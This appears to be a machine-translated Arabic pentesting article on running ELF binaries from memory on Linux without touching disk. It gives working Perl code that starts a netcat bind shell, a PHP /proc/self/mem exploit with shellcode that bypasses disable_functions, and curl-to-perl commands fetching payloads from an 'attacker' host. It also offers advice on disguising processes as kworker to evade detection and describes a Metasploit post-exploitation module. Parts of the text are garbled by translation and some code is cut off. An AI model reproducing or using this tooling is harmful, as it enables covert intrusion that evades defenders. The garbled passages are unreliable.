
يكتسب توزيع البرامج الضارة الخالية من الملفات شعبية. وهذا ليس مفاجئًا ، لأن عمل مثل هذه البرامج لا يترك أي أثر تقريبًا. في هذه المقالة لن نتطرق إلى تقنية تشغيل البرامج في ذاكرة Windows. نحن نركز على جنو / لينكس. يهيمن Linux بشكل صحيح على قطاع الخادم ، ويعيش على ملايين الأجهزة المضمنة ويوفر الغالبية العظمى من موارد الويب. بعد ذلك ، سنقوم بمراجعة قصيرة لإمكانيات تنفيذ البرامج في الذاكرة ونثبت أن ذلك ممكن حتى في الظروف الصعبة.
تعتبر تقنيات التنفيذ الخالية من الملفات سرية ؛ من الصعب للغاية اكتشاف وتتبع استخدامها. لن تقوم أدوات التحكم في تكامل نظام الملفات بتحذير المسؤول ، حيث لا تحدث عمليات كتابة على القرص أو تحدث تغييرات في الملف على القرص. لا يراقب برنامج مكافحة الفيروسات (غالبًا ما يهمله مستخدمو * nix) ذاكرة البرنامج بعد بدء التشغيل. بالإضافة إلى ذلك ، في العديد من توزيعات غنو / لينكس ، مباشرة بعد التثبيت ، تتوفر مجموعة واسعة من أدوات التصحيح المتنوعة والمترجمين الفوريين ومجمعي لغات البرمجة والمكتبات لهم. كل هذا يخلق ظروفًا ممتازة لاستخدام تقنيات تنفيذ البرنامج الخالي من الملفات. ولكن بالإضافة إلى مزايا استخدامها ، هناك أيضًا عيوب - لا تنجو هذه البرامج من التعتيم أو إعادة تشغيل المضيف المستهدف. ولكن أثناء تشغيل المضيف ، يعمل البرنامج.
يمكن ويجب استخدام هذه التقنيات ليس فقط لتوزيع البرامج الضارة. إذا كانت سرعة تنفيذ البرنامج حاسمة بالنسبة لك ، فقم بتحميلها في ذاكرة الوصول العشوائي. في الواقع ، تبدو العديد من توزيعات Linux رائعة عندما تعمل بشكل كامل في ذاكرة الوصول العشوائي ، مما يسمح لك بالعمل مع محركات الأقراص الصلبة دون حفظ أي ملفات عليها. من وجهة نظر تدقيق أمن المعلومات ، تعد طرق التنفيذ السري للبرامج مفيدة للغاية كمرحلة من مرحلة ما بعد التشغيل والاستخبارات داخل محيط الشبكة المستهدفة. خاصة إذا كانت السرية القصوى هي أحد شروط المراجعة.
وفقًا لبوابة barkly.com في عام 2018 ، تحدث بالفعل 35 ٪ من هجمات الفيروسات في برامج ضارة تعمل في الذاكرة.
في حالة Windows ، يستخدم مجرمو الإنترنت بنشاط نظام Powershell المثبت مسبقًا لتنزيل الرمز وتنفيذه على الفور. تُستخدم هذه التقنيات على نطاق واسع ، من بين أمور أخرى ، بفضل تنفيذها في أطر مثل Powershell Empire و Powersploit و Metasploit Framework.
ماذا عن لينكس؟
في معظم الحالات ، تحتوي توزيعات Linux المثبتة على الأجهزة المضيفة على مجموعة برامج مثبتة مسبقًا. كقاعدة عامة ، يتوفر مترجمون بلغات البرمجة: Python و Perl و C. مترجم. PHP موجود في مواقع الاستضافة في الملحق. يوفر هذا الشرط القدرة على تنفيذ التعليمات البرمجية باستخدام هذه اللغات.
على Linux ، لدينا العديد من الخيارات المعروفة لتنفيذ التعليمات البرمجية في الذاكرة.
أسهل طريقة هي استخدام منطقة الذاكرة المشتركة المثبتة مسبقًا على نظام الملفات.
من خلال وضع الملف القابل للتنفيذ في دليل / dev / shm أو / run / shm ، من الممكن تنفيذه في الذاكرة مباشرة ، نظرًا لأن هذه الدلائل ليست سوى ذاكرة وصول عشوائي مثبتة على نظام الملفات. ولكن يمكن عرضها مع ls مثل أي دليل آخر. وكقاعدة عامة ، يتم تحميل هذه الدلائل بعلامة noexec ، ولا يتوفر تنفيذ البرامج في هذه الدلائل إلا للمستخدم الخارق. لذا ، لكي تكون أكثر غموضاً قليلاً ، تحتاج إلى شيء آخر.
الجدير بالذكر هو استدعاء نظام memfd_create (2) . يعمل استدعاء النظام هذا شيئًا مثل malloc (3) ، ولكنه لا يعيد مؤشرًا إلى منطقة ذاكرة ، ولكن واصف ملف إلى ملف مجهول ، والذي لا يظهر في نظام الملفات إلا كرابط في /proc/PID/fd/
، والذي يمكن من خلاله تنفيذه باستخدام execve (2).
إليك ما تقوله صفحة دليل استدعاء نظام memfd_create (بالروسية) :
"يتم استخدام الاسم المحدد في name
كاسم للملف وسيتم إظهاره كهدف للرابط الرمزي المقابل في الدليل. /proc/self/fd/
. يبدأ اسم العرض دائمًا بـ memfd:
وهو من أجل التصحيح فقط. لا تؤثر الأسماء على سلوك الملف "واصف ، وبالتالي يمكن أن يكون للملفات المتعددة نفس الاسم دون أي عواقب."
مثال على استخدام memfd_create()
للغة C:
#include <stdio.h> #include <stdlib.h> #include <sys/syscall.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> int main() { int fd; pid_t child; char buf[BUFSIZ] = ""; ssize_t br; fd = syscall(SYS_memfd_create, "foofile", 0); if (fd == -1) { perror("memfd_create"); exit(EXIT_FAILURE); } child = fork(); if (child == 0) { dup2(fd, 1); close(fd); execlp("/bin/date", "/bin/date", NULL); perror("execlp date"); exit(EXIT_FAILURE); } else if (child == -1) { perror("fork"); exit(EXIT_FAILURE); } waitpid(child, NULL, 0); lseek(fd, 0, SEEK_SET); br = read(fd, buf, BUFSIZ); if (br == -1) { perror("read"); exit(EXIT_FAILURE); } buf[br] = 0; printf("child said: '%s'\n", buf); exit(EXIT_SUCCESS); }
يستخدم الكود أعلاه memfd
، وينشئ عملية memfd
، ويوجه مخرجاته إلى ملف مؤقت ، وينتظر اكتمال العملية الفرعية ، ويقرأ مخرجاته من الملف المؤقت. عادة ، يتم استخدام الأنبوب "|" لإعادة توجيه إخراج أحد البرامج إلى إدخال برنامج آخر في * nix.
تتوفر أيضًا إمكانية استخدام syscall()
بلغات مترجمة مثل perl و python وما إلى ذلك. بعد ذلك ، نعتبر أحد السيناريوهات المحتملة memfd_create()
القدرة على تحميل الملفات القابلة للتنفيذ في الذاكرة باستخدام memfd_create()
.
بيرل
افترض أن لدينا نقطة دخول في شكل حقن الأوامر.
نحن بحاجة إلى طريقة لإجراء مكالمات النظام على النظام الهدف.
في perl ، ستساعدنا وظيفة syscall () في ذلك.
سنحتاج أيضًا إلى طريقة لكتابة ELF مباشرة إلى الذاكرة كمحتويات ملف مجهول.
للقيام بذلك ، سنضع ELF مباشرة في نص البرنامج النصي ، والذي بدوره سيتم نقله إلى النظام المستهدف من خلال إدخال الأمر المتاح. بدلاً من ذلك ، يمكنك أيضًا تنزيل الملف القابل للتنفيذ عبر الشبكة.
ولكن قبل ذلك يجدر إبداء تحفظ. نحتاج إلى معرفة إصدار linux kernel على المضيف المستهدف ، نظرًا لأن استدعاء نظام memfd_create()
المطلوب متوفر فقط من الإصدار 3.17 والإصدارات الأحدث.
دعونا نلقي memfd_create()
على memfd_create()
و execve()
بالنسبة MFD_CLOEXEC
، MFD_CLOEXEC
ثابت MFD_CLOEXEC
، الذي "يعيّن علامة close-on-exec (FD_CLOEXEC)
لوصف ملف مفتوح جديد." هذا يعني أن واصف الملف الخاص بنا سيغلق تلقائيًا بعد تنفيذ ELF الخاص بنا باستخدام execve()
نظرًا لأننا syscall()
وظيفة syscall()
للغة Perl ، syscall
إلى قيم رقمية لاستدعاء syscall
لها.
يمكنك العثور عليها في /usr/include
أو على الإنترنت. يمكن العثور على رقم استدعاء النظام في #define
بدءًا من __NR_
في حالتنا ، يتم ترقيم memfd_create()
319 لنظام تشغيل 64 بت. والثابت هو FD_CLOSEXEC 0x0001U
(أي 1 في linux/memfd.h
)
الآن لدينا كل القيم العددية اللازمة ، ويمكننا أن نكتب في Perl memfd_create(name, MFD_CLOEXEC)
من memfd_create(name, MFD_CLOEXEC)
من C.
سنحتاج أيضًا إلى ابتكار اسم ملف سيتم عرضه في /memfd:
سيكون من [:kworker]
اختيار اسم مشابه لـ [:kworker]
أو آخر ، لا يسبب الشك.
على سبيل المثال ، سنمرر سلسلة فارغة إلى معلمة الاسم:
my $name = ""; my $fd = syscall(319, $name, 1); if (-1 == $fd) { die "memfd_create: $!"; }
الآن لدينا واصف ملف مجهول في $ fd ونحن بحاجة لكتابة ELF إلى هذا الملف.
عادة ما يتم استخدام وظيفة open () في perl لفتح الملفات ، ولكن باستخدام >&=FD
بناء ، تمرير الواصف إلى هذه الوظيفة بدلاً من اسم الملف ، نحول واصف الملفات المفتوح بالفعل إلى مقبض ملف.
سيكون مفيدًا أيضًا لـ autoflush[]
:
open(my $FH, '>&='.$fd) or die "open: $!"; select((select($FH), $|=1)[0]);
الآن لدينا مقبض يشير إلى ملف مجهول.
بعد ذلك ، نحتاج إلى تحويل ملفنا القابل للتنفيذ إلى بيانات يمكن وضعها في نص نص Perl النصي.
للقيام بذلك ، نقوم بما يلي:
$ perl -e '$/=\32;print"print \$FH pack q/H*/, q/".(unpack"H*")."/\ or die qq/write: \$!/;\n"while(<>)' ./elfbinary
نحصل على العديد من الخطوط المتشابهة:
print $FH pack q/H*/, q/7f454c4602010100000000000000000002003e0001000000304f450000000000/ or die qq/write: $!/; print $FH pack q/H*/, q/4000000000000000c80100000000000000000000400038000700400017000300/ or die qq/write: $!/; print $FH pack q/H*/, q/0600000004000000400000000000000040004000000000004000400000000000/ or die qq/write: $!/;
بعد تنفيذها ، سنضع ملفنا القابل للتنفيذ في الذاكرة. كل ما تبقى لنا هو إطلاقه.
شوكة ()
اختياريا يمكننا استخدام شوكة () . هذا ليس ضروريًا على الإطلاق. ولكن إذا كنا لا نريد فقط تشغيل ELF وقتل العملية ، فسنحتاج إلى استخدام fork()
.
بشكل عام ، يبدو إنشاء عملية تابعة في perl شيئًا مثل هذا:
while ($keep_going) { my $pid = fork(); if (-1 == $pid) {
تكمن فائدة fork()
أيضًا في حقيقة أنه من خلال تسميتها جنبًا إلى جنب مع setid (2) ، يمكنك فصل العملية الفرعية عن العملية الأم والسماح للوالد بإنهاء:
الآن يمكننا تشغيل ELF في العديد من العمليات.
Execve ()
Execve () هو استدعاء نظام يسمح لنا بتنفيذ برنامج. يوفر لنا Perl وظائف مماثلة من خلال وظيفة Exec () ، التي تعمل تمامًا مثل استدعاء النظام المذكور أعلاه ، ولكنها تحتوي على بنية أبسط وأكثر ملاءمة.
نحتاج إلى تمرير شيئين إلى exec()
: الملف الذي نريد تنفيذه (ذاكرة ELF التي تم تحميلها سابقًا) ، واسم العملية كأحد الوسيطات التي تم تمريرها. عادة ما يتوافق اسم العملية مع اسم الملف القابل للتنفيذ. ولكن بما أننا سنرى /proc/PID/fd/3
في قائمة العمليات ، فسوف نسمي عمليتنا بشيء آخر.
بناء جملة exec()
كما يلي:
exec {"/proc/$$/fd/$fd"} "nc", "-kvl", "4444", "-e", "/bin/sh" or die "exec: $!";
يبدأ المثال أعلاه Netcat. لكننا نرغب في إطلاق شيء أقل قليلاً مثل الباب الخلفي.
لن تحتوي عملية التشغيل على رابط للملف المجهول في /proc/PID/fd
، ولكن يمكننا دائمًا العثور على ELF الخاص بنا على الرابط /proc/PID/exe
، الذي يشير إلى ملف عملية التشغيل.
لذلك أطلقنا ELF في ذاكرة Linux ، دون لمس القرص وحتى نظام الملفات.
من الممكن تنزيل ملفنا القابل للتنفيذ إلى النظام المستهدف بسرعة وسهولة ، على سبيل المثال ، من خلال تمرير برنامج نصي إلى مترجم Perl ، والذي وضعنا في ELF $ curl http://attacker/evil_elf.pl | perl
ووضعه على استضافة ويب خارجية: $ curl http://attacker/evil_elf.pl | perl
$ curl http://attacker/evil_elf.pl | perl
بيثون
على غرار خيار Perl ، نحتاج إلى القيام بما يلي:
- باستخدام استدعاء النظام memfd_create () ، قم بإنشاء ملف مجهول في الذاكرة
- كتابة ملف ELF قابل للتنفيذ لهذا الملف
- تنفيذها وتنفيذها اختياريًا عدة مرات باستخدام الشوكة ()
import ctypes import os
في حالة python ، لاستدعاء syscall
نحتاج إلى syscall
نظام التشغيل القياسية لكتابة الملف وتنفيذه والتحكم في العملية. كل شيء مماثل تمامًا لإصدار بيرل.
في الكود أعلاه ، نكتب إلى الملف ملف موجود سابقًا في /tmp/
. ومع ذلك ، لا شيء يمنعنا من تنزيل الملف من خادم الويب.
فب
في هذه المرحلة ، يمكننا بالفعل استخدام perl و python. يتم تثبيت المترجمين الفوريين لهذه اللغات بشكل افتراضي على العديد من أنظمة التشغيل. لكن الأكثر إثارة للاهتمام ، كما هو الحال دائمًا ، هو المستقبل.
إذا لم يكن مترجمو لغة perl أو python متاحين لسبب ما ، فسيكون من الرائع استخدام PHP. هذه اللغة تحظى بشعبية كبيرة بين مطوري الويب. وإذا وجدنا بالفعل القدرة على تنفيذ التعليمات البرمجية في تطبيق ويب ، فمن المحتمل أن يلتقي مترجم PHP بنا.
لسوء الحظ ، ليس لدى php آليات syscall
لاستدعاء syscall
.
صادفنا منشورًا من Beched'a في منتدى rdot (Thanks Beched!) ، والذي يستبدل استدعاء الوظيفة open
system
خلال procfs /proc/self/mem
في ذكرى العملية الحالية ويتجاوز تعطيل وظيفة.
استخدمنا هذه الحيلة لإعادة كتابة الوظيفة إلى رمزنا ، مما سيؤدي إلى استدعاءات النظام الضرورية.
سنقوم بتمرير syscall إلى مترجم php في شكل كود قشرة على المجمع.
يجب تمرير مكالمات النظام عبر سلسلة من الأوامر.
لنبدأ بكتابة نص PHP. التالي سيكون الكثير من السحر.
أولاً ، نشير إلى المعايير اللازمة:
$elf = file_get_contents("/bin/nc.traditional");
تشير إلى التحول - القيم العليا والسفلى في الذاكرة ، حيث سنضع لاحقًا كود القشرة الخاص بنا:
function packlli($value) { $higher = ($value & 0xffffffff00000000) >> 32; $lower = $value & 0x00000000ffffffff; return pack('V2', $lower, $higher); }
التالي هو الوظيفة التي يتم من خلالها تفكيك الملف الثنائي. للقيام بذلك ، نقوم بتحويل البيانات الثنائية إلى تمثيل عشري باستخدام الدالة hexdex () من البيانات الثنائية bin2hex () بالترتيب العكسي (للتخزين):
function unp($value) { return hexdec(bin2hex(strrev($value))); }
بعد ذلك ، يتم تحليل ملف ELF للحصول على تعويضات:
function parseelf($bin_ver, $rela = false) { $bin = file_get_contents($bin_ver); $e_shoff = unp(substr($bin, 0x28, 8)); $e_shentsize = unp(substr($bin, 0x3a, 2)); $e_shnum = unp(substr($bin, 0x3c, 2)); $e_shstrndx = unp(substr($bin, 0x3e, 2)); for($i = 0; $i < $e_shnum; $i += 1) { $sh_type = unp(substr($bin, $e_shoff + $i * $e_shentsize + 4, 4)); if($sh_type == 11) {
بالإضافة إلى ذلك ، نقوم بعرض معلومات حول الإصدار المثبت من PHP:
if (!defined('PHP_VERSION_ID')) { $version = explode('.', PHP_VERSION); define('PHP_VERSION_ID', ($version[0] * 10000 + $version[1] * 100 + $version[2])); } if (PHP_VERSION_ID < 50207) { define('PHP_MAJOR_VERSION', $version[0]); define('PHP_MINOR_VERSION', $version[1]); define('PHP_RELEASE_VERSION', $version[2]); } echo "[INFO] PHP major version " . PHP_MAJOR_VERSION . "\n";
نتحقق من عمق البت لنظام التشغيل وإصدار نواة لينكس:
if(strpos(php_uname('a'), 'x86_64') === false) { echo "[-] This exploit is for x64 Linux. Exiting\n"; exit; } if(substr(php_uname('r'), 0, 4) < 2.98) { echo "[-] Too old kernel (< 2.98). Might not work\n"; }
من أجل التحايل على القيود الخاصة disable_functions
النصي ، يعيد كتابة البرنامج النصي وظيفة open@plt
على الطاير. قمنا بعمل بعض الإضافات لشفرة بيكهد ، والآن يمكننا وضع كود القشرة في الذاكرة.
تحتاج أولاً إلى العثور على التغيير في الملف الثنائي لمترجم PHP نفسه ، لذلك ننتقل إلى /proc/self/exe
parseelf()
الملف القابل للتنفيذ باستخدام وظيفة parseelf()
الموضحة أعلاه:
echo "[INFO] Trying to get open@plt offset in PHP binary\n"; $open_php = parseelf('/proc/self/exe', true); if($open_php == 0) { echo "[-] Failed. Exiting\n"; exit; } echo '[+] Offset is 0x' . dechex($open_php) . "\n"; $maps = file_get_contents('/proc/self/maps'); preg_match('#\s+(/.+libc\-.+)#', $maps, $r); echo "[INFO] Libc location: $r[1]\n"; preg_match('#\s+(.+\[stack\].*)#', $maps, $m); $stack = hexdec(explode('-', $m[1])[0]); echo "[INFO] Stack location: ".dechex($stack)."\n"; $pie_base = hexdec(explode('-', $maps)[0]); echo "[INFO] PIE base: ".dechex($pie_base)."\n"; echo "[INFO] Trying to get open and system symbols from Libc\n"; list($system_offset, $open_offset) = parseelf($r[1]); if($system_offset == 0 or $open_offset == 0) { echo "[-] Failed. Exiting\n"; exit; }
ابحث عن عنوان دالة open()
:
echo "[+] Got them. Seeking for address in memory\n"; $mem = fopen('/proc/self/mem', 'rb'); fseek($mem, ((PHP_MAJOR_VERSION == 7) * $pie_base) + $open_php); $open_addr = unp(fread($mem, 8)); echo '[INFO] open@plt addr: 0x' . dechex($open_addr) . "\n"; echo "[INFO] Rewriting open@plt address\n"; $mem = fopen('/proc/self/mem', 'wb');
الآن يمكنك الذهاب مباشرة لتنزيل ملفنا القابل للتنفيذ.
أولاً ، قم بإنشاء ملف مجهول:
$shellcode_loc = $pie_base + 0x100; $shellcode="\x48\x31\xD2\x52\x54\x5F\x6A\x01\x5E\x68\x3F\x01\x00\x00\x58\x0F\x05\x5A\xC3"; fseek($mem, $shellcode_loc); fwrite($mem, $shellcode); fseek($mem, (PHP_MAJOR_VERSION == 7) * $pie_base + $open_php); fwrite($mem, packlli($shellcode_loc)); echo "[+] Address written. Executing cmd\n"; $fp = fopen('fd', 'w');
نكتب الحمل على ملف مجهول:
fwrite($fp, $elf);
نحن نبحث عن رقم واصف الملف:
$found = false; $fds = scandir("/proc/self/fd"); foreach($fds as $fd) { $path = "/proc/self/fd/$fd"; if(!is_link($path)) continue; if(strstr(readlink($path), "memfd")) { $found = true; break; } } if(!$found) { echo '[-] memfd not found'; exit; }
بعد ذلك ، نكتب المسار إلى الملف القابل للتنفيذ على المكدس:
fseek($mem, $stack); fwrite($mem, "{$path}\x00"); $filename_ptr = $stack; $stack += strlen($path) + 1; fseek($mem, $stack);
وتم تمرير الحجج المطلوب تشغيلها إلى الملف التنفيذي:
fwrite($mem, str_replace(" ", "\x00", $args) . "\x00"); $str_ptr = $stack; $argv_ptr = $arg_ptr = $stack + strlen($args) + 1; foreach(explode(' ', $args) as $arg) { fseek($mem, $arg_ptr); fwrite($mem, packlli($str_ptr)); $arg_ptr += 8; $str_ptr += strlen($arg) + 1; } fseek($mem, $arg_ptr); fwrite($mem, packlli(0x0)); echo "[INFO] Argv: " . $args . "\n";
بعد ذلك ، من خلال استدعاء fork()
، نقوم بتنفيذ حمولتنا:
echo "[+] Starting ELF\n"; $shellcode = "\x6a\x39\x58\x0f\x05\x85\xc0\x75\x28\x6a\x70\x58\x0f\x05\x6a\x39\x58\x0f\x05\x85\xc0\x75\x1a\x48\xbf" . packlli($filename_ptr) . "\x48\xbe" . packlli($argv_ptr) . "\x48\x31\xd2\x6a\x3b\x58\x0f\x05\xc3\x6a\x00\x5f\x6a\x3c\x58\x0f\x05"; fseek($mem, $shellcode_loc); fwrite($mem, $shellcode); fopen('done', 'r'); exit();
كود القشرة
عادةً ما يعني Shellcode تسلسلاً من وحدات البايت يتم تخزينها في الذاكرة ثم يتم تنفيذها ، عادةً في سياق برنامج آخر ، باستخدام هجمات تجاوز سعة المخزن المؤقت وغيرها. في حالتنا ، لا يعيد كود القشرة إلينا موجه الأوامر للخادم البعيد (في الواقع شل) ، ولكنه يسمح لنا بتنفيذ الأوامر التي نحتاجها.
للحصول على تسلسل البايت المطلوب ، يمكنك إما كتابة رمز C ، ثم ترجمته إلى لغة التجميع ، أو كتابة لغة التجميع من البداية.
دعنا نرى ما هو مخفي وراء تسلسل البايت من القوائم أعلاه.
push 57 pop rax syscall test eax, eax jnz quit
يبدأ إطلاق برنامجنا fork
c. 57 هي القيمة العددية لمعرف استدعاء النظام لأنظمة 64 بت. يمكن العثور على الجدول هنا .
بعد ذلك ، نسمي setsid
(المعرف الرقمي 112) لتحويل العملية الفرعية إلى الأصل:
push 112 pop rax syscall
ثم قم بعمل fork
أخرى:
push 57 pop rax syscall test eax, eax jnz quit
ثم نفذ execve()
المألوف execve()
:
; execve mov rdi, 0xcafebabecafebabe ; filename mov rsi, 0xdeadbeefdeadbeef ; argv xor rdx, rdx ; envp push 0x3b pop rax syscall push -1 pop rax ret
وننهي العملية exit()
(60):
; exit quit: push 0 pop rdi push 60 pop rax syscall
وبالتالي ، استبدلنا رمز الوظيفة open () أثناء التنقل. تم وضع ملفنا القابل للتنفيذ في الذاكرة وتم تنفيذه بواسطة مترجم PHP. يتم عرض مكالمات النظام على شكل أكواد قشرة.
كتجميع للتقنيات المذكورة أعلاه ، قمنا بإعداد وحدة لمنظمة أطباء بلا حدود .
لإضافته إلى Metasploit ، ما عليك سوى نسخ ملف الوحدة النمطية إلى الدليل $HOME/.msf4/module/post/linux/manage/download_exec_elf_in_memory.rb
reload_all
$HOME/.msf4/module/post/linux/manage/download_exec_elf_in_memory.rb
ثم قم بتشغيل الأمر reload_all
في وحدة تحكم الإطار.
لاستخدام الوحدة الخاصة بنا ، أدخل use post/linux/manage/download_exec_elf_in_memory
(أو مسار آخر ، اعتمادًا على الدليل الذي تم وضع ملف الوحدة فيه)
قبل استخدامه ، يجب عليك تعيين الخيارات الضرورية. يتم عرض قائمة الخيارات باستخدام الأمر show options
.
ARGS
- الحجج القابلة للتنفيذ
FILE
- المسار إلى الملف القابل للتنفيذ. في حالتنا ، هذا هو Netcat.
NAME
هو اسم العملية. يمكنك الاتصال به أي شيء. على سبيل المثال ، من أجل التخفي ، قد يكون هذا kworker: 1 جيدًا ، أو لغرض عرض شيء كوميدي ، على سبيل المثال KittyCat
SESSION
- جلسة متر. من المفهوم أن هذه الوحدة ستستخدم لأغراض ما بعد التشغيل.
بعد ذلك ، نقوم بتعيين المضيف الذي سيتم وضع خادم http مع SRVHOST
SRVPORT
و SRVPORT
على التوالي.
VECTOR
- الطريقة التي يتم بها تنفيذ البرنامج في الذاكرة ، والمعلمة اختيارية ، إذا كانت فارغة ، فإن النص نفسه سيثبت وجود المترجمين الضروريين. يتم دعم PHP أو Python أو Perl حاليًا.
run
باستخدام الأمر exploit
أو run
تعمل على النحو التالي - نشير إلى الجلسة المطلوبة ، يمكن أن تكون مترًا مترًا أو قذيفة عكسية عادية. بعد ذلك ، نشير إلى المسار المحلي إلى قزمنا والحجج والاسم المطلوب في قائمة العمليات. بعد البداية ، سيتم إطلاق خادم ويب محلي لاستضافة الحمولة ، وستبحث الجلسة عن "كراسي هزاز" ، وهي حليقة و wget مدعومة حاليًا. بعد العثور على واحد منهم على الأقل ، سيتم البحث عن جميع المترجمين الشفويين إذا لم نحدد في معلمة VECTOR
أي واحد نحتاج إليه. حسنًا ، في حالة نجاح ذلك ، سيتم تنفيذ أمر لتنزيل الحمولة من خادم الويب الخاص بنا ونقلها عبر الأنبوب إلى المترجم المطلوب ، أي شيء من هذا القبيل $ curl http://hacker/payload.pl | perl
$ curl http://hacker/payload.pl | perl
بدلا من الاستنتاج.
يعد تنزيل ملفات ELF بدون ملفات على Linux تقنية مفيدة لاختبار الاختراق. هذه طريقة صامتة إلى حد ما يمكنها تحمل مجموعة واسعة من أدوات الحماية من الفيروسات وأنظمة مراقبة السلامة وأنظمة المراقبة التي تراقب التغييرات في محتويات القرص الصلب. بهذه الطريقة ، يمكنك الحفاظ بسهولة على الوصول إلى النظام المستهدف ، مع ترك الحد الأدنى من الآثار.
في هذه المقالة ، استخدمنا لغات برمجة مترجمة ، غالبًا ما يتم تثبيتها افتراضيًا على توزيعات Linux والبرامج الثابتة وأجهزة التوجيه والأجهزة المحمولة. أود أيضًا أن أشكر كاتب هذا المقال ، الذي ألهمنا لهذه المراجعة.